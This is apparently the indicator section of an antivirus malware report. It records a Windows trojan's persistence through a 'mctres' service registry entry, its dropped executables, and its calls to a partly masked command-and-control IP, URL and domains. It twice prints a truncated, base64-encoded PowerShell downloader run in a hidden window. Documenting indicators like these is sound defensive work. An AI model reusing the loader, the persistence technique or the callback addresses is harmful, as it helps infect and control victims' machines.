Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\mctres] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\mctres] 'ImagePath' = '"%WINDIR%\SysWOW64\PING\mctres.exe"'
- 'mctres' "%WINDIR%\SysWOW64\PING\mctres.exe"
- 'mctres' %WINDIR%\SysWOW64\PING\mctres.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en JABTAGUAZQBiAHgANgB1AD0AKAAoACcATQAnACsAJwBsADIAOAAnACkAKwAoACcAeQAnACsAJwBzADkAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtACcAKwAnAGkAdABlAG0AJwApACAAJABlAE4AVgA6AHUAUwBlAFIAUAByAG8ARgBpAEwARQBcA...
- %HOMEPATH%\gyr1jqk\kcqefh5\eaw3l8.exe
- %WINDIR%\syswow64\ping\mctres.exe
- %HOMEPATH%\gyr1jqk\kcqefh5\eaw3l8.exe в %WINDIR%\syswow64\ping\mctres.exe
- '24.##.32.186':80
- http://24.##.32.186/q28y/tr85oT/xxkZ8pG4/
- DNS ASK ea###hatch.com
- DNS ASK ti#####uanvaldez.com
- '%HOMEPATH%\gyr1jqk\kcqefh5\eaw3l8.exe'
- '%WINDIR%\syswow64\ping\mctres.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en JABTAGUAZQBiAHgANgB1AD0AKAAoACcATQAnACsAJwBsADIAOAAnACkAKwAoACcAeQAnACsAJwBzADkAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtACcAKwAnAGkAdABlAG0AJwApACAAJABlAE4AVgA6AHUAUwBlAFIAUAByAG8ARgBpAEwARQBcA...' (со скрытым окном)